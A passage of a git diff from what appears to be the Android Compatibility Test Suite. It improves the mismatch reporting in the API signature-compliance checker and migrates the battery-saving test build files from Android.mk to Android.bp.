LogHelper.loge("Got exception when checking method compliance", e);
resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index b346648..df7c18b 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -15,11 +15,13 @@
*/
package android.signature.cts;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.ReflectionHelper.DefaultTypeComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
-import java.lang.reflect.Type;
+import java.util.Formatter;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
@@ -99,14 +101,16 @@
// check father class
if (!checkClassExtendsCompliance(classDescription, runtimeClass)) {
resultObserver.notifyFailure(FailureType.mismatch(classDescription),
- classDescription.getAbsoluteClassName(), "Extends mismatch");
+ classDescription.getAbsoluteClassName(),
+ "Extends mismatch, expected " + classDescription.getExtendedClass());
return false;
}
// check implements interface
if (!checkClassImplementsCompliance(classDescription, runtimeClass)) {
resultObserver.notifyFailure(FailureType.mismatch(classDescription),
- classDescription.getAbsoluteClassName(), "Implements mismatch");
+ classDescription.getAbsoluteClassName(),
+ "Implements mismatch, expected " + classDescription.getImplInterfaces());
return false;
}
}
@@ -162,7 +166,7 @@
return null;
} else {
return String.format("modifier mismatch - description (%s), class (%s)",
- Modifier.toString(apiModifiers), Modifier.toString(reflectionModifiers));
+ getModifierString(apiModifiers), getModifierString(reflectionModifiers));
}
}
@@ -254,33 +258,72 @@
@Override
protected void checkField(JDiffClassDescription classDescription, Class<?> runtimeClass,
- JDiffClassDescription.JDiffField fieldDescription, Field field) {
- if (field.getModifiers() != fieldDescription.mModifier) {
+ JDiffField fieldDescription, Field field) {
+ int expectedModifiers = fieldDescription.mModifier;
+ int actualModifiers = field.getModifiers();
+ if (actualModifiers != expectedModifiers) {
resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
- "Non-compatible field modifiers found when looking for " +
- fieldDescription.toSignatureString());
- } else if (!checkFieldValueCompliance(fieldDescription, field)) {
- resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
- fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
- "Incorrect field value found when looking for " +
- fieldDescription.toSignatureString());
- } else if (!field.getType().getCanonicalName().equals(fieldDescription.mFieldType)) {
- // type name does not match, but this might be a generic
- String genericTypeName = null;
- Type type = field.getGenericType();
- if (type != null) {
- genericTypeName = type instanceof Class ? ((Class<?>) type).getName() :
- type.toString().replace('$', '.');
- }
- if (genericTypeName == null || !genericTypeName.equals(fieldDescription.mFieldType)) {
- resultObserver.notifyFailure(
- FailureType.MISMATCH_FIELD,
- fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
- "Non-compatible field type found when looking for " +
- fieldDescription.toSignatureString());
- }
+ String.format(
+ "Incompatible field modifiers, expected %s, found %s",
+ getModifierString(expectedModifiers),
+ getModifierString(actualModifiers)));
}
+
+ String expectedFieldType = fieldDescription.mFieldType;
+ String actualFieldType = ReflectionHelper.typeToString(field.getGenericType());
+ if (!DefaultTypeComparator.INSTANCE.compare(expectedFieldType, actualFieldType)) {
+ resultObserver.notifyFailure(
+ FailureType.MISMATCH_FIELD,
+ fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+ String.format("Incompatible field type found, expected %s, found %s",
+ expectedFieldType, actualFieldType));
+ }
+
+ String message = checkFieldValueCompliance(fieldDescription, field);
+ if (message != null) {
+ resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+ fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+ message);
+ }
+ }
+
+ private static final int BRIDGE = 0x00000040;
+ private static final int VARARGS = 0x00000080;
+ private static final int SYNTHETIC = 0x00001000;
+ private static final int ANNOTATION = 0x00002000;
+ private static final int ENUM = 0x00004000;
+ private static final int MANDATED = 0x00008000;
+
+ private static String getModifierString(int modifiers) {
+ Formatter formatter = new Formatter();
+ String m = Modifier.toString(modifiers);
+ formatter.format("<%s", m);
+ String sep = m.isEmpty() ? "" : " ";
+ if ((modifiers & BRIDGE) != 0) {
+ formatter.format("%senum", sep);
+ sep = " ";
+ }
+ if ((modifiers & VARARGS) != 0) {
+ formatter.format("%svarargs", sep);
+ sep = " ";
+ }
+ if ((modifiers & SYNTHETIC) != 0) {
+ formatter.format("%ssynthetic", sep);
+ sep = " ";
+ }
+ if ((modifiers & ANNOTATION) != 0) {
+ formatter.format("%sannotation", sep);
+ sep = " ";
+ }
+ if ((modifiers & ENUM) != 0) {
+ formatter.format("%senum", sep);
+ sep = " ";
+ }
+ if ((modifiers & MANDATED) != 0) {
+ formatter.format("%smandated", sep);
+ }
+ return formatter.format("> (0x%x)", modifiers).toString();
}
/**
@@ -289,76 +332,86 @@
* @param apiField The field as defined by the platform API.
* @param deviceField The field as defined by the device under test.
*/
- private static boolean checkFieldValueCompliance(JDiffClassDescription.JDiffField apiField, Field deviceField) {
+ private static String checkFieldValueCompliance(JDiffField apiField, Field deviceField) {
if ((apiField.mModifier & Modifier.FINAL) == 0 ||
(apiField.mModifier & Modifier.STATIC) == 0) {
// Only final static fields can have fixed values.
- return true;
+ return null;
}
- if (apiField.getValueString() == null) {
+ String apiFieldValue = apiField.getValueString();
+ if (apiFieldValue == null) {
// If we don't define a constant value for it, then it can be anything.
- return true;
+ return null;
}
+
+ // Convert char into a number to match the value returned from device field. The device
+ // field does not
+ if (deviceField.getType() == char.class) {
+ apiFieldValue = convertCharToCanonicalValue(apiFieldValue.charAt(0));
+ }
+
+ String deviceFieldValue = getFieldValueAsString(deviceField);
+ if (!Objects.equals(apiFieldValue, deviceFieldValue)) {
+ return String.format("Incorrect field value, expected <%s>, found <%s>",
+ apiFieldValue, deviceFieldValue);
+
+ }
+
+ return null;
+ }
+
+ private static String getFieldValueAsString(Field deviceField) {
// Some fields may be protected or package-private
deviceField.setAccessible(true);
try {
- switch (apiField.mFieldType) {
- case "byte":
- return Objects.equals(apiField.getValueString(),
- Byte.toString(deviceField.getByte(null)));
- case "char":
- return Objects.equals(apiField.getValueString(),
- Integer.toString(deviceField.getChar(null)));
- case "short":
- return Objects.equals(apiField.getValueString(),
- Short.toString(deviceField.getShort(null)));
- case "int":
- return Objects.equals(apiField.getValueString(),
- Integer.toString(deviceField.getInt(null)));
- case "long":
- return Objects.equals(apiField.getValueString(),
- Long.toString(deviceField.getLong(null)) + "L");
- case "float":
- return Objects.equals(apiField.getValueString(),
- canonicalizeFloatingPoint(
- Float.toString(deviceField.getFloat(null)), "f"));
- case "double":
- return Objects.equals(apiField.getValueString(),
- canonicalizeFloatingPoint(
- Double.toString(deviceField.getDouble(null)), ""));
- case "boolean":
- return Objects.equals(apiField.getValueString(),
- Boolean.toString(deviceField.getBoolean(null)));
- case "java.lang.String":
- String value = apiField.getValueString();
- // Remove the quotes the value string is wrapped in
- value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
- return Objects.equals(value, deviceField.get(null));
- default:
- return true;
+ Class<?> fieldType = deviceField.getType();
+ if (fieldType == byte.class) {
+ return Byte.toString(deviceField.getByte(null));
+ } else if (fieldType == char.class) {
+ return convertCharToCanonicalValue(deviceField.getChar(null));
+ } else if (fieldType == short.class) {
+ return Short.toString(deviceField.getShort(null));
+ } else if (fieldType == int.class) {
+ return Integer.toString(deviceField.getInt(null));
+ } else if (fieldType == long.class) {
+ return Long.toString(deviceField.getLong(null));
+ } else if (fieldType == float.class) {
+ return canonicalizeFloatingPoint(
+ Float.toString(deviceField.getFloat(null)));
+ } else if (fieldType == double.class) {
+ return canonicalizeFloatingPoint(
+ Double.toString(deviceField.getDouble(null)));
+ } else if (fieldType == boolean.class) {
+ return Boolean.toString(deviceField.getBoolean(null));
+ } else if (fieldType == java.lang.String.class) {
+ return (String) deviceField.get(null);
+ } else {
+ return null;
}
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
+ private static String convertCharToCanonicalValue(char c) {
+ return String.format("'%c' (0x%x)", c, (int) c);
+ }
+
/**
* Canonicalize the string representation of floating point numbers.
*
* This needs to be kept in sync with the doclava canonicalization.
*/
- private static String canonicalizeFloatingPoint(String val, String suffix) {
+ private static String canonicalizeFloatingPoint(String val) {
switch (val) {
case "Infinity":
- return "(1.0" + suffix + "/0.0" + suffix + ")";
case "-Infinity":
- return "(-1.0" + suffix + "/0.0" + suffix + ")";
case "NaN":
- return "(0.0" + suffix + "/0.0" + suffix + ")";
+ return val;
}
if (val.indexOf('E') != -1) {
- return val + suffix;
+ return val;
}
// 1.0 is the only case where a trailing "0" is allowed.
@@ -368,108 +421,7 @@
while (i >= d + 2 && val.charAt(i) == '0') {
val = val.substring(0, i--);
}
- return val + suffix;
- }
-
- // This unescapes the string format used by doclava and so needs to be kept in sync with any
- // changes made to that format.
- private static String unescapeFieldStringValue(String str) {
- final int N = str.length();
-
- // If there's no special encoding strings in the string then just return it.
- if (str.indexOf('\\') == -1) {
- return str;
- }
-
- final StringBuilder buf = new StringBuilder(str.length());
- char escaped = 0;
- final int START = 0;
- final int CHAR1 = 1;
- final int CHAR2 = 2;
- final int CHAR3 = 3;
- final int CHAR4 = 4;
- final int ESCAPE = 5;
- int state = START;
-
- for (int i = 0; i < N; i++) {
- final char c = str.charAt(i);
- switch (state) {
- case START:
- if (c == '\\') {
- state = ESCAPE;
- } else {
- buf.append(c);
- }
- break;
- case ESCAPE:
- switch (c) {
- case '\\':
- buf.append('\\');
- state = START;
- break;
- case 't':
- buf.append('\t');
- state = START;
- break;
- case 'b':
- buf.append('\b');
- state = START;
- break;
- case 'r':
- buf.append('\r');
- state = START;
- break;
- case 'n':
- buf.append('\n');
- state = START;
- break;
- case 'f':
- buf.append('\f');
- state = START;
- break;
- case '\'':
- buf.append('\'');
- state = START;
- break;
- case '\"':
- buf.append('\"');
- state = START;
- break;
- case 'u':
- state = CHAR1;
- escaped = 0;
- break;
- }
- break;
- case CHAR1:
- case CHAR2:
- case CHAR3:
- case CHAR4:
- escaped <<= 4;
- if (c >= '0' && c <= '9') {
- escaped |= c - '0';
- } else if (c >= 'a' && c <= 'f') {
- escaped |= 10 + (c - 'a');
- } else if (c >= 'A' && c <= 'F') {
- escaped |= 10 + (c - 'A');
- } else {
- throw new RuntimeException(
- "bad escape sequence: '" + c + "' at pos " + i + " in: \""
- + str + "\"");
- }
- if (state == CHAR4) {
- buf.append(escaped);
- state = START;
- } else {
- state++;
- }
- break;
- }
- }
- if (state != START) {
- throw new RuntimeException("unfinished escape sequence: " + str);
- }
- return buf.toString();
+ return val;
}
@Override
@@ -553,7 +505,7 @@
return null;
} else {
return String.format("modifier mismatch - description (%s), method (%s), for %s",
- Modifier.toString(apiModifiers), Modifier.toString(reflectionModifiers), genericString);
+ getModifierString(apiModifiers), getModifierString(reflectionModifiers), genericString);
}
}
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index 6be5f96..66492ff 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -20,6 +20,7 @@
import java.util.ArrayList;
import java.util.Comparator;
import java.util.HashSet;
+import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
@@ -112,8 +113,9 @@
}
private boolean findMethod(JDiffClassDescription classDescription, Method method) {
+ Map<Method, String> matchNameNotSignature = new LinkedHashMap<>();
for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
- if (ReflectionHelper.matches(jdiffMethod, method)) {
+ if (ReflectionHelper.matchesSignature(jdiffMethod, method, matchNameNotSignature)) {
return true;
}
}
diff --git a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
index 30584c9..97f11d0 100644
--- a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
@@ -325,9 +325,9 @@
StringBuilder sb = new StringBuilder();
// access level
- String accesLevel = convertModifiersToAccessLevel(mModifier);
- if (!"".equals(accesLevel)) {
- sb.append(accesLevel).append(" ");
+ String accessLevel = convertModifiersToAccessLevel(mModifier);
+ if (!"".equals(accessLevel)) {
+ sb.append(accessLevel).append(" ");
}
String modifierString = convertModifersToModifierString(mModifier);
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
index 992b3fa..6b6140a 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -15,6 +15,8 @@
*/
package android.signature.cts;
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
@@ -29,6 +31,7 @@
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
+import java.util.Map;
import java.util.Set;
/**
@@ -123,10 +126,12 @@
*
* @param runtimeClass the class in which to search.
* @param jdiffDes constructor description to find.
+ * @param mismatchReasons a map from rejected constructor to the reason it was rejected.
* @return reflected constructor, or null if not found.
*/
static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
- JDiffClassDescription.JDiffConstructor jdiffDes) {
+ JDiffConstructor jdiffDes, Map<Constructor, String> mismatchReasons) {
+
for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
Type[] params = c.getGenericParameterTypes();
boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
@@ -148,8 +153,15 @@
int i = 0;
int j = startParamOffset;
while (i < jdiffParamList.size()) {
- if (!compareParam(jdiffParamList.get(i), params[j],
+ String expectedParameter = jdiffParamList.get(i);
+ Type actualParameter = params[j];
+ if (!compareParam(expectedParameter, actualParameter,
DefaultTypeComparator.INSTANCE)) {
+ mismatchReasons.put(c,
+ String.format("parameter %d mismatch: expected (%s), found (%s)",
+ i,
+ expectedParameter,
+ actualParameter));
isFound = false;
break;
}
@@ -159,6 +171,11 @@
if (isFound) {
return c;
}
+ } else {
+ mismatchReasons.put(c,
+ String.format("parameter list length mismatch: expected %d, found %d",
+ jdiffParamList.size(),
+ params.length));
}
}
return null;
@@ -204,25 +221,33 @@
*
* @param runtimeClass the class in which to search.
* @param method description of the method to find
+ * @param mismatchReasons a map from rejected method to the reason it was rejected, only
+ * contains methods with the same name.
* @return the reflected method, or null if not found.
*/
- static Method findMatchingMethod(Class<?> runtimeClass,
- JDiffClassDescription.JDiffMethod method) {
+ static Method findMatchingMethod(
+ Class<?> runtimeClass, JDiffMethod method, Map<Method, String> mismatchReasons) {
// Search through the class to find the methods just in case the method was actually
// declared in a superclass which is not part of the API and so was made to appear as if
// it was declared in each of the hidden class' subclasses. Cannot use getMethods() as that
// will only return public methods and the API includes protected methods.
- while (runtimeClass != null) {
- Method[] methods = runtimeClass.getDeclaredMethods();
+ Class<?> currentClass = runtimeClass;
+ while (currentClass != null) {
+ Method[] reflectedMethods = currentClass.getDeclaredMethods();
- for (Method m : methods) {
- if (matches(method, m)) {
- return m;
+ for (Method reflectedMethod : reflectedMethods) {
+ // If the method names aren't equal, the methods can't match.
+ if (!method.mName.equals(reflectedMethod.getName())) {
+ continue;
+ }
+
+ if (matchesSignature(method, reflectedMethod, mismatchReasons)) {
+ return reflectedMethod;
}
}
- runtimeClass = runtimeClass.getSuperclass();
+ currentClass = currentClass.getSuperclass();
}
return null;
@@ -233,15 +258,12 @@
*
* @param jDiffMethod the jDiffMethod to compare
* @param reflectedMethod the reflected method to compare
+ * @param mismatchReasons map from method to reason it did not match, used when reporting
+ * missing methods.
* @return true, if both methods are the same
*/
- static boolean matches(JDiffClassDescription.JDiffMethod jDiffMethod,
- Method reflectedMethod) {
- // If the method names aren't equal, the methods can't match.
- if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
- return false;
- }
-
+ static boolean matchesSignature(JDiffMethod jDiffMethod, Method reflectedMethod,
+ Map<Method, String> mismatchReasons) {
// If the method is a bridge then use a special comparator for comparing types as
// bridge methods created for generic methods may not have generic signatures.
// See b/123558763 for more information.
@@ -250,19 +272,26 @@
String jdiffReturnType = jDiffMethod.mReturnType;
String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
- List<String> jdiffParamList = jDiffMethod.mParamList;
// Next, compare the return types of the two methods. If
// they aren't equal, the methods can't match.
if (!typeComparator.compare(jdiffReturnType, reflectionReturnType)) {
+ mismatchReasons.put(reflectedMethod,
+ String.format("return type mismatch: expected %s, found %s", jdiffReturnType,
+ reflectionReturnType));
return false;
}
+ List<String> jdiffParamList = jDiffMethod.mParamList;
Type[] params = reflectedMethod.getGenericParameterTypes();
// Next, check the method parameters. If they have different
// parameter lengths, the two methods can't match.
if (jdiffParamList.size() != params.length) {
+ mismatchReasons.put(reflectedMethod,
+ String.format("parameter list length mismatch: expected %s, found %s",
+ jdiffParamList.size(),
+ params.length));
return false;
}
@@ -290,15 +319,25 @@
StringBuilder reflectedMethodParams = new StringBuilder("");
StringBuilder jdiffMethodParams = new StringBuilder("");
+ String sep = "";
for (int i = 0; i < jdiffParamList.size(); i++) {
- jdiffMethodParams.append(jdiffParamList.get(i));
- reflectedMethodParams.append(params[i]);
+ jdiffMethodParams.append(sep).append(jdiffParamList.get(i));
+ reflectedMethodParams.append(sep).append(params[i].getTypeName());
+ sep = ", ";
}
String jDiffFName = jdiffMethodParams.toString();
String refName = reflectedMethodParams.toString();
- return jDiffFName.equals(refName);
+ boolean signatureMatches = jDiffFName.equals(refName);
+ if (!signatureMatches) {
+ mismatchReasons.put(reflectedMethod,
+ String.format("parameter signature mismatch: expected (%s), found (%s)",
+ jDiffFName,
+ refName));
+ }
+
+ return signatureMatches;
}
/**
@@ -328,7 +367,7 @@
* @param type the type to convert.
* @return the jdiff formatted string.
*/
- private static String typeToString(Type type) {
+ public static String typeToString(Type type) {
if (type instanceof ParameterizedType) {
ParameterizedType pt = (ParameterizedType) type;
@@ -341,7 +380,9 @@
for (Type t : types) {
sb.append(typeToString(t));
if (++elementNum < types.length) {
- sb.append(", ");
+ // Must match separator used in
+ // android.signature.cts.KtHelper.toDefaultTypeString.
+ sb.append(",");
}
}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index dc3e446..0a4558e 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -259,7 +259,7 @@
JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
"VALUE_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\"\\u2708\"");
+ Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\u2708");
clz.addField(field);
checkSignatureCompliance(clz);
assertEquals(field.toSignatureString(), "public static final java.lang.String VALUE_FIELD");
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
new file mode 100644
index 0000000..a40bb60
--- /dev/null
+++ b/tests/tests/batterysaving/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsBatterySavingTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "BatterySavingCtsCommon",
+ "androidx.test.rules",
+ "androidx.legacy_legacy-support-v4",
+ "mockito-target-minus-junit4",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "ub-uiautomator",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/tests/batterysaving/Android.mk b/tests/tests/batterysaving/Android.mk
deleted file mode 100755
index 3dd2fbf..0000000
--- a/tests/tests/batterysaving/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- BatterySavingCtsCommon \
- androidx.test.rules \
- androidx.legacy_legacy-support-v4 \
- mockito-target-minus-junit4 \
- compatibility-device-util-axt \
- ctstestrunner-axt \
- ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingTestCases
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/batterysaving/apps/Android.mk b/tests/tests/batterysaving/apps/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/tests/tests/batterysaving/apps/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
new file mode 100644
index 0000000..de78337
--- /dev/null
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsBatterySavingAppTargetApi25",
+ defaults: ["cts_defaults"],
+ static_libs: ["CtsBatterSavingAppTargetLib"],
+ sdk_version: "test_current",
+ min_sdk_version: "23",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
deleted file mode 100644
index c704a29..0000000
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingAppTargetApi25
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../app_target_api_current/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- BatterySavingCtsCommon \
- androidx.test.rules \
- androidx.legacy_legacy-support-v4 \
- mockito-target-minus-junit4 \
- compatibility-device-util-axt \
- ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 23
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
new file mode 100644
index 0000000..8d385c6
--- /dev/null
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsBatterySavingAppTargetApiCurrent",
+ defaults: ["cts_defaults"],
+ static_libs: ["CtsBatterSavingAppTargetLib"],
+ sdk_version: "test_current",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+java_library {
+ name: "CtsBatterSavingAppTargetLib",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ static_libs: [
+ "BatterySavingCtsCommon",
+ "androidx.test.rules",
+ "androidx.legacy_legacy-support-v4",
+ "mockito-target-minus-junit4",
+ "compatibility-device-util-axt",
+ "ub-uiautomator",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
deleted file mode 100644
index 717ce3b..0000000
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingAppTargetApiCurrent
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- BatterySavingCtsCommon \
- androidx.test.rules \
- androidx.legacy_legacy-support-v4 \
- mockito-target-minus-junit4 \
- compatibility-device-util-axt \
- ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/batterysaving/common/Android.bp b/tests/tests/batterysaving/common/Android.bp
new file mode 100644
index 0000000..6f99fda
--- /dev/null
+++ b/tests/tests/batterysaving/common/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+ name: "BatterySavingCtsCommon",
+ srcs: [
+ "src/**/*.java",
+ "proto/**/*.proto",
+ ],
+ libs: [
+ "androidx.test.rules",
+ "androidx.legacy_legacy-support-v4",
+ "mockito-target",
+ "compatibility-device-util-axt",
+ "android.test.runner.stubs",
+ ],
+ sdk_version: "test_current",
+ proto: {
